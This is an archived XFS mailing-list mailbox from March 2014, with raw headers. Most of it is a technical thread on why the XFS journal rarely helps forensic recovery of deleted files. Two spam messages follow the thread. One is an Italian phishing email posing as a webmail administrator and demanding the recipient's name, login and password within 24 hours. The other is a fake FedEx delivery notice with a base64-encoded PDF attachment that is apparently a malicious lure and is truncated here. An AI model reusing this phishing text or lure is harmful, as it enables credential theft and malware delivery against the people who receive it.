active region is, but we never > physically "remove" anything from it. IOWs, the information is in > the journal until it wraps around and is over written by new > checkpoints.... Quite right. I sacrificed some technical accuracy to drive home the larger point, that the journal shouldn't be relied upon for forensic retrieval of deleted files. >>> By using those information, Recovering delete file can be done. >>> >>> So the analysis of Journaling part is absolutely needed. >> >> I disagree. Again, the journal log is unrelated to "deleted file >> recovery" in a forensics scenario. >> >> I think Dave and Jeff both missed the fact that you're interested only >> in deleted file recovery, not in learning how the journal works for the >> sake of learning how the journal works. > > Oh, no, I saw it and didn't think it was worth commenting on. I > think it's a brain-dead concept trying to do undelete in the > filesystem. "recoverable delete" was a problem solved 30 years ago - > it's commonly known as a trash bin and you do it in userspace with a > wrapper around unlink that calls rename(2) instead. And then "empty > trashbin" is what does the unlink and permanently deletes the files. > > Besides, from a conceptual point of view after-the-fact filesystem > based undelete is fundamentally flawed. i.e. the journal is a > write-ahead logging journal and so can only be used to roll the > filesystem state forwardi in time. Undelete requires having state > and data in the journal that allows the filesystem to be rolled > *backwards in time*. XFS simply does not record such information in > the log and so parsing the log to "undelete files by transaction > rollback" just doesn't work. Sometimes context gets lost. In his first paragraph he stated he's a graduate student and his research area is digital forensics. So the discussion about "deleted file recovery" needs to be in the forensics context. As you explain above, and as Greg Freemyer pointed out, looking at filesystem metadata or journals for information that will assist in the recovery of previously deleted files is usually not going to be fruitful. -- Stan From stan@hardwarefreak.com Fri Mar 7 20:22:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0807C7F5E for ; Fri, 7 Mar 2014 20:22:06 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id DB9538F804B for ; Fri, 7 Mar 2014 18:22:05 -0800 (PST) X-ASG-Debug-ID: 1394245324-04bdf076f0b6c20001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id CYGthrsDCuqTRAmS for ; Fri, 07 Mar 2014 18:22:04 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 4290F6C169; Fri, 7 Mar 2014 20:22:04 -0600 (CST) Message-ID: <531A7ED1.2050403@hardwarefreak.com> Date: Fri, 07 Mar 2014 20:22:09 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Shaun Gosse , Yongmin , "xfs@oss.sgi.com" Subject: Re: Hello, I have a question about XFS File System References: <195DE8C60CE24A62A71911FDE0B0DC97@gmail.com> <5318DB01.2040102@hardwarefreak.com> <279D0A265E5D4AF5B099BFAD4E8B1700@gmail.com> <531A4600.7050906@hardwarefreak.com> <8D3FA7645C1CFC4E9E783D22B4C708647305E1F5@P-EXMB2-DC21.corp.sgi.com> X-ASG-Orig-Subj: Re: Hello, I have a question about XFS File System In-Reply-To: <8D3FA7645C1CFC4E9E783D22B4C708647305E1F5@P-EXMB2-DC21.corp.sgi.com> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1394245324 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 3/7/2014 4:40 PM, Shaun Gosse wrote: > Stan, > > If I understand what you're saying here correctly, it sounds like > there would still be a very tiny window where the journal could be > relevant, those "few seconds" before it's committed as you said. So > it would be a rather small corner case, but there might be some use. > And I think it was already stated to be an academic project... It could be in the log for milliseconds, many minutes, hours, or even days, or months, depending on the rate of metadata write activity. XFS is still primarily for "large and lots". Most organizations using XFS probably don't have idle journal logs, but very active ones. > This does makes me curious in turn about how difficult it would be to > recover journal entries. At a guess, if a person knows the structure > and it hasn't been overwritten, it'll still be there? Or is it > automatically overwritten/zero'd when the entry is removed from the > journal, perhaps as the very mechanism of removal? And presumably > this window, if any, would also be rather small assuming an active > filesystem (and an inactive one presumably irrelevant...unless, > perhaps, it was one where the last action, arbitrarily long ago, was > a critical delete operation...). How often are forensics experts brought in within minutes, hours, or days of an incident of such magnitude prompting them to be hired? Forensics is typically performed long after the fact, in which case there's almost zero chance any relevant information will be in the filesystem journal. -- Stan From sandeen@sandeen.net Fri Mar 7 21:25:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DB22A7F60 for ; Fri, 7 Mar 2014 21:25:02 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5FB21AC003 for ; Fri, 7 Mar 2014 19:24:58 -0800 (PST) X-ASG-Debug-ID: 1394249093-04cbb054b9171690001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id FnBrxgFdejmYG1uL for ; Fri, 07 Mar 2014 19:24:54 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 6166365C2845; Fri, 7 Mar 2014 21:24:53 -0600 (CST) Message-ID: <531A8D85.6060307@sandeen.net> Date: Fri, 07 Mar 2014 21:24:53 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: stan@hardwarefreak.com, Dave Chinner CC: Yongmin , "xfs@oss.sgi.com" Subject: Re: Hello, I have a question about XFS File System References: <195DE8C60CE24A62A71911FDE0B0DC97@gmail.com> <5318DB01.2040102@hardwarefreak.com> <279D0A265E5D4AF5B099BFAD4E8B1700@gmail.com> <531A4600.7050906@hardwarefreak.com> <20140307230915.GS6851@dastard> <531A7BB8.5090201@hardwarefreak.com> X-ASG-Orig-Subj: Re: Hello, I have a question about XFS File System In-Reply-To: <531A7BB8.5090201@hardwarefreak.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1394249093 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3696 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 3/7/14, 8:08 PM, Stan Hoeppner wrote: > On 3/7/2014 5:09 PM, Dave Chinner wrote: >> On Fri, Mar 07, 2014 at 04:19:44PM -0600, Stan Hoeppner wrote: >>> Please reply to the mailing list as well as the individual. >>> >>> Note that you stated: >>> >>> '...the concentrated part of mine is "Deleted File Recovery"' >>> >>> On 3/6/2014 10:02 PM, Yongmin wrote: >>>> >>>> Yes! there are no actual file data in journaling part. >>>> >>>> BUT, by analyzing journaling part, we can get a Inode Core Information which was deleted. >>>> In Inode Core, there are many information about the actual data, i.e. start address, file length etc. >>> >>> Analyzing the journal code may inform you about structures, but it won't >>> inform you about on disk locations of the structures and how to find >>> them. If a file has been deleted, no information about that is going to >>> exist in the journal for more than a few seconds before the transaction >>> is committed and the entry removed from the journal. >> >> Well, we don't actually "remove" information from the log. We update >> pointers that indicate what the active region is, but we never >> physically "remove" anything from it. IOWs, the information is in >> the journal until it wraps around and is over written by new >> checkpoints.... > > Quite right. I sacrificed some technical accuracy to drive home the > larger point, that the journal shouldn't be relied upon for forensic > retrieval of deleted files. > >>>> By using those information, Recovering delete file can be done. >>>> >>>> So the analysis of Journaling part is absolutely needed. >>> >>> I disagree. Again, the journal log is unrelated to "deleted file >>> recovery" in a forensics scenario. >>> >>> I think Dave and Jeff both missed the fact that you're interested only >>> in deleted file recovery, not in learning how the journal works for the >>> sake of learning how the journal works. >> >> Oh, no, I saw it and didn't think it was worth commenting on. I >> think it's a brain-dead concept trying to do undelete in the >> filesystem. "recoverable delete" was a problem solved 30 years ago - >> it's commonly known as a trash bin and you do it in userspace with a >> wrapper around unlink that calls rename(2) instead. And then "empty >> trashbin" is what does the unlink and permanently deletes the files. >> >> Besides, from a conceptual point of view after-the-fact filesystem >> based undelete is fundamentally flawed. i.e. the journal is a >> write-ahead logging journal and so can only be used to roll the >> filesystem state forwardi in time. Undelete requires having state >> and data in the journal that allows the filesystem to be rolled >> *backwards in time*. XFS simply does not record such information in >> the log and so parsing the log to "undelete files by transaction >> rollback" just doesn't work. > > Sometimes context gets lost. In his first paragraph he stated he's a > graduate student and his research area is digital forensics. So the > discussion about "deleted file recovery" needs to be in the forensics > context. As you explain above, and as Greg Freemyer pointed out, > looking at filesystem metadata or journals for information that will > assist in the recovery of previously deleted files is usually not going > to be fruitful. Well, I think that's a good point. "Looking at the log to see if there are any clues for manual recovery" is a very different problem from "Use the log for automated, guaranteed successful undelete" :) -Eric From estelle.seiler@hep-bejune.ch Sat Mar 8 01:33:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1103F7F66 for ; Sat, 8 Mar 2014 01:33:03 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id D77508F8037 for ; Fri, 7 Mar 2014 23:33:02 -0800 (PST) X-ASG-Debug-ID: 1394263979-04bdf05dab3a08e0001-NocioJ Received: from HEPEDGE1.hep-bejune.ch (hepedge1.hep-bejune.ch [192.135.153.24]) by cuda.sgi.com with ESMTP id 8Ey0nHGNhCrnGD2x (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Fri, 07 Mar 2014 23:33:01 -0800 (PST) X-Barracuda-Envelope-From: estelle.seiler@hep-bejune.ch X-Barracuda-Apparent-Source-IP: 192.135.153.24 Received: from HEPCASHUB1.hep-bejune.ch (192.135.153.211) by HEPEDGE1.hep-bejune.ch (192.135.153.24) with Microsoft SMTP Server (TLS) id 14.3.146.0; Sat, 8 Mar 2014 08:32:38 +0100 Received: from HEPMBX1.hep-bejune.ch ([fe80::4431:d8d4:365e:6147]) by HEPCASHUB1.hep-bejune.ch ([192.135.153.211]) with mapi id 14.03.0146.000; Sat, 8 Mar 2014 08:32:58 +0100 From: Seiler Estelle Subject: =?iso-8859-1?Q?Ozn=E1men=ED_admin_centrum?= Thread-Topic: =?iso-8859-1?Q?Ozn=E1men=ED_admin_centrum?= X-ASG-Orig-Subj: =?iso-8859-1?Q?Ozn=E1men=ED_admin_centrum?= Thread-Index: Ac86oKCP7LwkwfInReCFaUPmcGk/LQ== Date: Sat, 8 Mar 2014 07:32:58 +0000 Message-ID: <14F8BE0D63ABA940BF6D2975FA6F8AEC3088F0@HEPMBX1.hep-bejune.ch> Accept-Language: en-GB, fr-FR, fr-CH, en-US Content-Language: en-GB X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [192.135.153.239] Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 To: Undisclosed recipients:; X-Barracuda-Connect: hepedge1.hep-bejune.ch[192.135.153.24] X-Barracuda-Start-Time: 1394263980 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3700 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... Attenzione: Webmail utente, Questa mail =E8 stata trasmette da centro amministrativo per notificare che= abbiamo temporaneamente impedito l'accesso al tuo account. Abbiamo motivo di ritenere che il tuo account sia stata letta da qualcun al= tro ed era per attivit=E0 illegali. Eseguire il file e seguire le istruzion= i: Siete inviare centro amministrativo le informazioni qui sotto altrimenti do= vremo bloccare l'account in modo permanente, =E8 necessario rispondere a qu= esta email immediatamente e inserisci i tuoi dati qui sotto. nome: login: Password: Nota: se non riceviamo la vostra risposta nelle prossime 24 ore avremo disa= ttivare questo account. "centro amministrativo" Copyright =A9 Web Admin 2014 Tutti i diritti riservati. From milton.riquelme@stein.cl Sat Mar 8 13:44:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=unavailable version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1CD487F3F for ; Sat, 8 Mar 2014 13:44:47 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id AE9C0AC002 for ; Sat, 8 Mar 2014 11:44:43 -0800 (PST) X-ASG-Debug-ID: 1394307857-04bdf076f0eaa20001-NocioJ Received: from mail.dpspa.gob.ec (58.pichincha.andinanet.net [186.42.96.58]) by cuda.sgi.com with ESMTP id asIMaC7n1YOYwSC1 for ; Sat, 08 Mar 2014 11:44:17 -0800 (PST) X-Barracuda-Envelope-From: milton.riquelme@stein.cl X-Barracuda-Apparent-Source-IP: 186.42.96.58 Received: from localhost (localhost [127.0.0.1]) by mail.dpspa.gob.ec (Postfix) with ESMTP id C25CC701E7A; Thu, 6 Mar 2014 17:18:37 -0500 (ECT) Received: from mail.dpspa.gob.ec ([127.0.0.1]) by localhost (mail.dpspa.gob.ec [127.0.0.1]) (amavisd-new, port 10032) with ESMTP id TFfHKWl3614Z; Thu, 6 Mar 2014 17:18:09 -0500 (ECT) Received: from localhost (localhost [127.0.0.1]) by mail.dpspa.gob.ec (Postfix) with ESMTP id D09FD742188; Thu, 6 Mar 2014 17:14:48 -0500 (ECT) X-Virus-Scanned: amavisd-new at mail.dpspa.gob.ec Received: from mail.dpspa.gob.ec ([127.0.0.1]) by localhost (mail.dpspa.gob.ec [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id g2Q2xE3DphNB; Thu, 6 Mar 2014 17:14:22 -0500 (ECT) Received: from [180.215.215.254] (unknown [180.215.215.254]) by mail.dpspa.gob.ec (Postfix) with ESMTPSA id 40A3E74227A; Thu, 6 Mar 2014 17:08:53 -0500 (ECT) Content-Type: multipart/mixed; boundary="===============2051246404==" MIME-Version: 1.0 Subject: Delivery In Progress To: Recipients X-ASG-Orig-Subj: Delivery In Progress From: "FedEx Delivery Express Service" Date: Fri, 07 Mar 2014 03:35:13 +0530 Reply-To: fdx21@foxmail.com Message-Id: <20140306220854.40A3E74227A@mail.dpspa.gob.ec> X-Barracuda-Connect: 58.pichincha.andinanet.net[186.42.96.58] X-Barracuda-Start-Time: 1394307857 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.51 X-Barracuda-Spam-Status: No, SCORE=0.51 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, BSF_SC3_TG321 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3712 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_SC3_TG321 Custom Rule TG321 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain You will not see this in a MIME-aware mail reader. --===============2051246404== Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Open Attached File For More Detail --===============2051246404== Content-Type: application/pdf MIME-Version: 1.0 Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="PACKAGE DELIVERY.pdf" JVBERi0xLjUNCiW1tbW1DQoxIDAgb2JqDQo8PC9UeXBlL0NhdGFsb2cvUGFnZXMgMiAwIFIvTGFu Zyhlbi1VUykgL1N0cnVjdFRyZWVSb290IDIyIDAgUi9NYXJrSW5mbzw8L01hcmtlZCB0cnVlPj4+ Pg0KZW5kb2JqDQoyIDAgb2JqDQo8PC9UeXBlL1BhZ2VzL0NvdW50IDIvS2lkc1sgMyAwIFIgMTIg MCBSXSA+Pg0KZW5kb2JqDQozIDAgb2JqDQo8PC9UeXBlL1BhZ2UvUGFyZW50IDIgMCBSL1Jlc291 cmNlczw8L0ZvbnQ8PC9GMSA1IDAgUi9GMiA4IDAgUj4+L0V4dEdTdGF0ZTw8L0dTNyA3IDAgUj4+ L1hPYmplY3Q8PC9JbWFnZTExIDExIDAgUj4+L1Byb2NTZXRbL1BERi9UZXh0L0ltYWdlQi9JbWFn ZUMvSW1hZ2VJXSA+Pi9Bbm5vdHNbIDEwIDAgUl0gL01lZGlhQm94WyAwIDAgNjEyIDc5Ml0gL0Nv bnRlbnRzIDQgMCBSL0dyb3VwPDwvVHlwZS9Hcm91cC9TL1RyYW5zcGFyZW5jeS9DUy9EZXZpY2VS R0I+Pi9UYWJzL1MvU3RydWN0UGFyZW50cyAwPj4NCmVuZG9iag0KNCAwIG9iag0KPDwvRmlsdGVy L0ZsYXRlRGVjb2RlL0xlbmd0aCAzNjU5Pj4NCnN0cmVhbQ0KeJytXFlv3EYSfheg/8CHRdZcmPQ0 zxkgCGBLduI4PnalxA/KPoznkGd1ekaKLSz2vy+bw/pYxa4mqSAwIPTw6KPOrw46ePYh+P77Z2+P Xh8Hkx9+CF4cHwUvTg8Pnr0ygTFxngSn68MDE0yqfyZIi6BM8niSBadX1TM/npTB+e7wYBInRTWi wY+HB2dPgvDfwenPhwcvq8mCl2+PgoCtZNhKbO5iNo3Nfu6BCRLPBKUZOUHaTGDstu2bmYknSTAr 4iLJApPE1bXt6vBg/Q/l5cyzepbR6qDI2ZPjMEqfrOyfeVg82dpBUA2O7OC+Guzs4K4a3NjBVTWo H95Wg6d9J8iVTZg0qfbPNzJAhsJzkmRWHUCZAOQyNaHzdBoXxRC5Ss8iJqNFGLk+glyWSp+Jbn/s LxfV1Wrwiahkr1zTw1/p4Q2RtB7U98/p1TVRektXHujKPV0BN+ysCzu4oXXuaI0FPRgIRto31vQG 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 TAdz4YEkxnLQ+a5XFq4eH5htQ5aCbjNpC2744RNwTnbgPtJrbrrpWWanGWIg92GeZvp9B7OYs9tM j2b5xto2v8Y00/dtrhCb079WrxN9YnPIb74hEWt7F1lTQtHxoANflHWRXN++NQuf2y6bQu50sKNT kfVKyItiJJQrfAY8zWy06v3kZ0zpcxkyBOxx1bICJNDXvfDyCMhAe5Yu5l8jCrchWcKK/aw7R+aW GfaKOg2R0mGho+PWgQMuhh3uYTRmb6FG1WoLTybKVBLkcq3FzG5ZQ+QLbnTSaz1VXdrILNItTbYL WQPJJ1IvUGtUny0qfTokWwvriASFzIKK77Y9FBClEGUyVbPBvsle6WzqdvB/jig9GSoz0ZSuXvOb 8HUizbIUYqu7IRyggc7RuDYDwGIRZCifAIO+a0fX3IzTmKzkUBL7RdjFB15wSCyaWgWz3ddJnE8H WeTpLp1aBXNQgEwpXYntIA8g9MXFZPjuv/3gEIkbHFuootac0ONzSvXjoz0uZcc6G+w919ud4QY9 TTuov+JEd6R1W7LiePDPtsGWGnjLZlPLcXHGXu9cevIbZeaZof12vxaxUYW80vexrSphb+CSkKYW QGVMD3lXXqLxXfvoBoTF6PaQR50wZd//2PNBWm+XbcRSsR+4M6nn/z0Me1FB30F9/y2DIw4nt/Pr llmEM78cHli0W+Z7hlVOO8kr/Fuh5NJeXNj/EOn11fx8ZUxwfBP8s5nu/04nQZENCmVuZHN0cmVh bQ0KZW5kb2JqDQo1IDAgb2JqDQo8PC9UeXBlL0ZvbnQvU3VidHlwZS9UcnVlVHlwZS9OYW1lL0Yx L0Jhc2VGb250L0FCQ0RFRStDb3VyaWVyIzIwTmV3L0VuY29kaW5nL1dpbkFuc2lFbmNvZGluZy9G b250RGVzY3JpcHRvciA2IDAgUi9GaXJzdENoYXIgMzIvTGFzdENoYXIgMTIxL1dpZHRocyA0MSAw IFI+Pg0KZW5kb2JqDQo2IDAgb2JqDQo8PC9UeXBlL0ZvbnREZXNjcmlwdG9yL0ZvbnROYW1lL0FC Q0RFRStDb3VyaWVyIzIwTmV3L0ZsYWdzIDMyL0l0YWxpY0FuZ2xlIDAvQXNjZW50IDgzMy9EZXNj ZW50IC0xODgvQ2FwSGVpZ2h0IDYxMy9BdmdXaWR0aCA2MDAvTWF4V2lkdGggNzQ0L0ZvbnRXZWln aHQgNDAwL1hIZWlnaHQgMjUwL1N0ZW1WIDYwL0ZvbnRCQm94WyAtMTIyIC0xODggNjIzIDYxM10g 